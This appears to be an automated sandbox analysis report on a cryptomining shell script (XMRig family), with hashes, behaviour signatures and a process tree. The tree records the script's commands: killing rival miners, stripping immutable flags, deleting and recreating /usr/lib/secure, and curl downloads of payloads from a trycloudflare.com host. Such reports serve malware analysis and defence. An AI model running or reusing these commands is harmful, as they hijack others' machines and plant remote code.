Resubmissions

13-12-2024 16:40

241213-t61lwsvjfx 10

13-12-2024 09:54

241213-lw7y8avjgx 10

Analysis

  • max time kernel
    150s
  • max time network
    37s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    13-12-2024 09:54

General

  • Target

    kernel.sh

  • Size

    3KB

  • MD5

    70b5ca97532b13cf5743c138d213ef1f

  • SHA1

    55ce28f0db3d7fbd69c72d78282b06147df690f9

  • SHA256

    7bc7583c91a5b3880dcb9ae735530d4990d13f67216f08dfa140f927a09c1a87

  • SHA512

    253b9e6eda76101b81522d412fa394da12406997e813f1cc49dcfc57dbf6b432d64829600a2d0413a7ecfce3e6f412f4529eb4a35b278bf5fb3626fc5f7dbfa6

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Attempts to change immutable files 1 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 64 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

Processes

  • /tmp/kernel.sh
    /tmp/kernel.sh
    1⤵
      PID:702
      • /usr/bin/pgrep
        pgrep -x kdevtmpfsi
        2⤵
          PID:707
        • /usr/bin/pgrep
          pgrep -x kinsing
          2⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:713
        • /usr/bin/pgrep
          pgrep -x xmrig
          2⤵
          • Reads CPU attributes
          PID:717
        • /usr/bin/pgrep
          pgrep -x xmrigDaemon
          2⤵
            PID:720
          • /usr/bin/pgrep
            pgrep -x xmrigMiner
            2⤵
              PID:724
            • /usr/bin/pgrep
              pgrep -x xmrigMinerd
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:727
            • /usr/bin/pgrep
              pgrep -x xmrigMinerDaemon
              2⤵
                PID:729
              • /usr/bin/pgrep
                pgrep -x xmrigMinerServer
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:731
              • /usr/bin/pgrep
                pgrep -x xmrigMinerServerDaemon
                2⤵
                • Reads CPU attributes
                PID:733
              • /usr/bin/pgrep
                pgrep -x bash2
                2⤵
                • Reads CPU attributes
                PID:735
              • /usr/bin/pgrep
                pgrep -x .network-setup
                2⤵
                  PID:738
                • /usr/bin/pgrep
                  pgrep -x syshd
                  2⤵
                    PID:739
                  • /usr/bin/pgrep
                    pgrep -x /usr/.network-setup/config.json
                    2⤵
                      PID:741
                    • /usr/bin/pgrep
                      pgrep -x bashirc
                      2⤵
                      • Reads CPU attributes
                      • Reads runtime system information
                      PID:742
                    • /usr/bin/pgrep
                      pgrep -x masscan
                      2⤵
                        PID:743
                      • /usr/bin/pgrep
                        pgrep -x cronb.sh
                        2⤵
                        • Reads CPU attributes
                        PID:745
                      • /usr/bin/pgrep
                        pgrep -x crond.sh
                        2⤵
                        • Reads CPU attributes
                        PID:746
                      • /usr/bin/pgrep
                        pgrep -x linuxsys
                        2⤵
                        • Reads CPU attributes
                        PID:747
                      • /usr/bin/pgrep
                        pgrep -x miner
                        2⤵
                        • Reads CPU attributes
                        PID:748
                      • /usr/bin/pgrep
                        pgrep -x gitlabw
                        2⤵
                        • Reads CPU attributes
                        PID:749
                      • /usr/bin/pgrep
                        pgrep -x xmp
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:750
                      • /usr/bin/pgrep
                        pgrep -x juiceSSH
                        2⤵
                        • Reads runtime system information
                        PID:751
                      • /usr/bin/pgrep
                        pgrep -x khnug
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:752
                      • /usr/bin/pgrep
                        pgrep -x Linux2
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:753
                      • /usr/bin/pgrep
                        pgrep -x kthreaddi
                        2⤵
                        • Reads runtime system information
                        PID:754
                      • /usr/bin/pgrep
                        pgrep -x kkssl
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:755
                      • /usr/bin/pgrep
                        pgrep -x cnrig
                        2⤵
                        • Reads runtime system information
                        PID:756
                      • /usr/bin/pgrep
                        pgrep -x stratum
                        2⤵
                          PID:757
                        • /usr/bin/pgrep
                          pgrep -x vscode
                          2⤵
                            PID:758
                          • /usr/bin/pgrep
                            pgrep -x "runsv puma"
                            2⤵
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:759
                          • /usr/bin/pgrep
                            pgrep -x xmrig
                            2⤵
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:760
                          • /usr/bin/pgrep
                            pgrep -x c3pool
                            2⤵
                            • Reads CPU attributes
                            PID:761
                          • /usr/bin/pgrep
                            pgrep -x kthreaddk
                            2⤵
                              PID:762
                            • /usr/bin/pgrep
                              pgrep -x dbused
                              2⤵
                              • Reads CPU attributes
                              PID:763
                            • /usr/bin/pgrep
                              pgrep -x kdevtmpfsi
                              2⤵
                              • Reads runtime system information
                              PID:764
                            • /usr/bin/pgrep
                              pgrep -x kinsing
                              2⤵
                              • Reads runtime system information
                              PID:765
                            • /usr/bin/pgrep
                              pgrep -x supportxmr
                              2⤵
                                PID:766
                              • /usr/bin/pgrep
                                pgrep -x xmr
                                2⤵
                                • Reads CPU attributes
                                PID:767
                              • /usr/bin/pgrep
                                pgrep -x kthreaddw
                                2⤵
                                • Reads runtime system information
                                PID:768
                              • /usr/bin/pgrep
                                pgrep -x klibsystem4
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:769
                              • /usr/bin/pgrep
                                pgrep -x klibsystem5
                                2⤵
                                • Reads CPU attributes
                                PID:770
                              • /usr/bin/pgrep
                                pgrep -x kworkerr
                                2⤵
                                • Reads CPU attributes
                                PID:771
                              • /usr/bin/pgrep
                                pgrep -x ipv6_addrconfd
                                2⤵
                                • Reads CPU attributes
                                • System Network Configuration Discovery
                                PID:772
                              • /usr/bin/pgrep
                                pgrep -x ksoftriqd
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:773
                              • /usr/bin/pgrep
                                pgrep -x 8a9ed70
                                2⤵
                                • Reads CPU attributes
                                PID:774
                              • /usr/bin/pgrep
                                pgrep -x xmrigMiner
                                2⤵
                                • Reads CPU attributes
                                PID:775
                              • /usr/bin/pgrep
                                pgrep -x kthreaddo
                                2⤵
                                • Reads CPU attributes
                                PID:776
                              • /usr/bin/pgrep
                                pgrep -x xssai
                                2⤵
                                • Reads CPU attributes
                                PID:777
                              • /usr/bin/pgrep
                                pgrep -x k1.sh
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:778
                              • /usr/bin/pgrep
                                pgrep -x base64
                                2⤵
                                • Reads CPU attributes
                                PID:779
                              • /usr/bin/pgrep
                                pgrep -x java-deamon
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:780
                              • /usr/bin/pgrep
                                pgrep -x up.elf
                                2⤵
                                • Reads runtime system information
                                PID:781
                              • /usr/bin/pgrep
                                pgrep -x logrotate
                                2⤵
                                  PID:782
                                • /usr/bin/pgrep
                                  pgrep -x "\\-bash"
                                  2⤵
                                    PID:783
                                  • /usr/bin/pgrep
                                    pgrep -x b64decode
                                    2⤵
                                    • Reads CPU attributes
                                    PID:784
                                  • /usr/bin/pgrep
                                    pgrep -x MCf8
                                    2⤵
                                    • Reads CPU attributes
                                    PID:785
                                  • /usr/bin/pgrep
                                    pgrep -x mysqldd
                                    2⤵
                                    • Reads CPU attributes
                                    PID:786
                                  • /usr/bin/pgrep
                                    pgrep -x monero
                                    2⤵
                                      PID:787
                                    • /usr/bin/pgrep
                                      pgrep -x sshpass
                                      2⤵
                                      • Reads CPU attributes
                                      • Reads runtime system information
                                      PID:788
                                    • /usr/bin/pgrep
                                      pgrep -x sshexec
                                      2⤵
                                      • Reads runtime system information
                                      PID:789
                                    • /usr/bin/pgrep
                                      pgrep -x attack
                                      2⤵
                                      • Reads runtime system information
                                      PID:790
                                    • /usr/bin/pgrep
                                      pgrep -x dovecat
                                      2⤵
                                      • Reads CPU attributes
                                      PID:791
                                    • /usr/bin/pgrep
                                      pgrep -x javae
                                      2⤵
                                      • Reads CPU attributes
                                      PID:794
                                    • /usr/bin/pgrep
                                      pgrep -x donate
                                      2⤵
                                        PID:795
                                      • /usr/bin/pgrep
                                        pgrep -x scan.log
                                        2⤵
                                        • Reads CPU attributes
                                        PID:798
                                      • /usr/bin/pgrep
                                        pgrep -x xmr-stak
                                        2⤵
                                        • Reads CPU attributes
                                        • Reads runtime system information
                                        PID:799
                                      • /usr/bin/pgrep
                                        pgrep -x crond64
                                        2⤵
                                        • Reads CPU attributes
                                        PID:802
                                      • /usr/bin/pgrep
                                        pgrep -x /tmp/java
                                        2⤵
                                        • Reads runtime system information
                                        PID:803
                                      • /usr/bin/pgrep
                                        pgrep -x pastebin
                                        2⤵
                                        • Reads CPU attributes
                                        • Reads runtime system information
                                        PID:806
                                      • /usr/bin/pgrep
                                        pgrep -x so.txt
                                        2⤵
                                        • Reads CPU attributes
                                        PID:807
                                      • /usr/bin/pgrep
                                        pgrep -x "bash -s 3673"
                                        2⤵
                                        • Reads CPU attributes
                                        PID:810
                                      • /usr/bin/pgrep
                                        pgrep -x 8005/cc5
                                        2⤵
                                        • Reads CPU attributes
                                        • Reads runtime system information
                                        PID:811
                                      • /usr/bin/pgrep
                                        pgrep -x /tmp/system
                                        2⤵
                                        • Reads runtime system information
                                        PID:814
                                      • /usr/bin/pgrep
                                        pgrep -x ./cliented
                                        2⤵
                                        • Reads runtime system information
                                        PID:816
                                      • /usr/bin/pgrep
                                        pgrep -x .inis
                                        2⤵
                                        • Reads CPU attributes
                                        • Reads runtime system information
                                        PID:818
                                      • /usr/bin/pgrep
                                        pgrep -x certutil
                                        2⤵
                                        • Reads runtime system information
                                        PID:821
                                      • /usr/bin/pgrep
                                        pgrep -x excludefile
                                        2⤵
                                        • Reads CPU attributes
                                        • Reads runtime system information
                                        PID:822
                                      • /usr/bin/pgrep
                                        pgrep -x agettyd
                                        2⤵
                                          PID:825
                                        • /usr/bin/pgrep
                                          pgrep -x kthreaddkk
                                          2⤵
                                            PID:826
                                          • /usr/bin/pgrep
                                            pgrep -x /dev/shm
                                            2⤵
                                            • Reads runtime system information
                                            PID:829
                                          • /usr/bin/pgrep
                                            pgrep -x /var/tmp
                                            2⤵
                                              PID:830
                                            • /usr/bin/pgrep
                                              pgrep -x ./python
                                              2⤵
                                              • Reads CPU attributes
                                              PID:833
                                            • /usr/bin/pgrep
                                              pgrep -x ./crun
                                              2⤵
                                              • Reads CPU attributes
                                              PID:835
                                            • /usr/bin/pgrep
                                              pgrep -x "bash -s kthreaddk"
                                              2⤵
                                              • Reads CPU attributes
                                              • Reads runtime system information
                                              PID:837
                                            • /usr/bin/pgrep
                                              pgrep -x ./.
                                              2⤵
                                                PID:839
                                              • /usr/bin/pgrep
                                                pgrep -x 118/cf.sh
                                                2⤵
                                                • Reads CPU attributes
                                                PID:841
                                              • /usr/bin/pgrep
                                                pgrep -x ./lin64
                                                2⤵
                                                • Reads CPU attributes
                                                PID:843
                                              • /usr/bin/pgrep
                                                pgrep -x confluence/install.sh
                                                2⤵
                                                • Reads CPU attributes
                                                PID:845
                                              • /usr/bin/pgrep
                                                pgrep -x unls64.sh
                                                2⤵
                                                • Reads CPU attributes
                                                PID:847
                                              • /usr/bin/pgrep
                                                pgrep -x ./system-xfwm4-session
                                                2⤵
                                                • Reads runtime system information
                                                PID:851
                                              • /usr/bin/pgrep
                                                pgrep -x ./httpd
                                                2⤵
                                                • Reads runtime system information
                                                PID:852
                                              • /usr/bin/pgrep
                                                pgrep -x loligang
                                                2⤵
                                                  PID:854
                                                • /usr/bin/pgrep
                                                  pgrep -x .6379
                                                  2⤵
                                                  • Reads CPU attributes
                                                  • Reads runtime system information
                                                  PID:858
                                                • /usr/bin/pgrep
                                                  pgrep -x load.sh
                                                  2⤵
                                                    PID:861
                                                  • /usr/bin/pgrep
                                                    pgrep -x init.sh
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:863
                                                  • /usr/bin/pgrep
                                                    pgrep -x solr.sh
                                                    2⤵
                                                      PID:865
                                                    • /usr/bin/pgrep
                                                      pgrep -x .rsyslogds
                                                      2⤵
                                                      • Reads CPU attributes
                                                      • Reads runtime system information
                                                      PID:867
                                                    • /usr/bin/pgrep
                                                      pgrep -x sysDworker
                                                      2⤵
                                                      • Reads CPU attributes
                                                      PID:870
                                                    • /usr/bin/pgrep
                                                      pgrep -x pnscan
                                                      2⤵
                                                        PID:872
                                                      • /usr/bin/pgrep
                                                        pgrep -x sysguard
                                                        2⤵
                                                        • Reads CPU attributes
                                                        • Reads runtime system information
                                                        PID:873
                                                      • /usr/bin/pgrep
                                                        pgrep -x solrd
                                                        2⤵
                                                          PID:874
                                                        • /usr/bin/pgrep
                                                          pgrep -x polska
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:876
                                                        • /usr/bin/pgrep
                                                          pgrep -x meminitsrv
                                                          2⤵
                                                          • Reads CPU attributes
                                                          PID:877
                                                        • /usr/bin/pgrep
                                                          pgrep -x networkservice
                                                          2⤵
                                                          • Reads CPU attributes
                                                          • Reads runtime system information
                                                          PID:878
                                                        • /usr/bin/pgrep
                                                          pgrep -x sysupdate
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:879
                                                        • /usr/bin/pgrep
                                                          pgrep -x phpguard
                                                          2⤵
                                                          • Reads CPU attributes
                                                          PID:880
                                                        • /usr/bin/pgrep
                                                          pgrep -x phpupdate
                                                          2⤵
                                                            PID:881
                                                          • /usr/bin/pgrep
                                                            pgrep -x networkmanager
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:882
                                                          • /usr/bin/pgrep
                                                            pgrep -x knthread
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:883
                                                          • /usr/bin/pgrep
                                                            pgrep -x mysqlserver
                                                            2⤵
                                                              PID:884
                                                            • /usr/bin/pgrep
                                                              pgrep -x gitlabkill
                                                              2⤵
                                                                PID:885
                                                              • /usr/bin/pgrep
                                                                pgrep -x watchbog
                                                                2⤵
                                                                • Reads CPU attributes
                                                                PID:886
                                                              • /usr/bin/pgrep
                                                                pgrep -x zgrab
                                                                2⤵
                                                                  PID:887
                                                                • /usr/bin/pgrep
                                                                  pgrep -x udiskssd
                                                                  2⤵
                                                                    PID:888
                                                                  • /bin/grep
                                                                    grep atdb
                                                                    2⤵
                                                                      PID:890
                                                                    • /bin/ps
                                                                      ps -ef
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:889
                                                                    • /bin/grep
                                                                      grep -v grep
                                                                      2⤵
                                                                        PID:891
                                                                      • /usr/bin/xargs
                                                                        xargs -I "%" kill -9 "%"
                                                                        2⤵
                                                                          PID:893
                                                                        • /usr/bin/awk
                                                                          awk "{print \$2}"
                                                                          2⤵
                                                                            PID:892
                                                                          • /usr/bin/id
                                                                            id -u
                                                                            2⤵
                                                                              PID:894
                                                                            • /usr/bin/id
                                                                              id -u
                                                                              2⤵
                                                                                PID:895
                                                                              • /usr/bin/chattr
                                                                                chattr -ia /usr/lib/secure
                                                                                2⤵
                                                                                • Attempts to change immutable files
                                                                                PID:896
                                                                              • /bin/rm
                                                                                rm -rf /usr/lib/secure
                                                                                2⤵
                                                                                  PID:897
                                                                                • /bin/mkdir
                                                                                  mkdir -p /usr/lib/secure
                                                                                  2⤵
                                                                                    PID:898
                                                                                  • /bin/chmod
                                                                                    chmod +w /usr/lib/secure
                                                                                    2⤵
                                                                                      PID:899
                                                                                    • /usr/bin/curl
                                                                                      curl -ks https://throw-shut-discuss-pirates.trycloudflare.com/initd -o /usr/lib/secure/udiskssd
                                                                                      2⤵
                                                                                        PID:900
                                                                                      • /bin/chmod
                                                                                        chmod +x /usr/lib/secure/udiskssd
                                                                                        2⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:905
                                                                                      • /usr/bin/curl
                                                                                        curl -ks https://throw-shut-discuss-pirates.trycloudflare.com/dbus -o /usr/lib/secure/atdb
                                                                                        2⤵
                                                                                          PID:906

                                                                                      Network

                                                                                      MITRE ATT&CK Enterprise v15

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • /usr/lib/secure/udiskssd

                                                                                        Filesize

                                                                                        7.9MB

                                                                                        MD5

                                                                                        6cde7499e4a86550b1f5d24738d988c3

                                                                                        SHA1

                                                                                        c63f646edfddb4232afa5618e3fac4eee1b4b115

                                                                                        SHA256

                                                                                        e0a4c5dbb6c10b7be03336b4d17ee56401f2a29263683093b8cd19c813acad37

                                                                                        SHA512

                                                                                        982f63cd157d6f42e28ca2368e056301966be73924032fb2ecff780fc658b4ab279f27219e324046279344a6f99e2f92e2e2daafc8de4490f77eaf0cca4dd1fa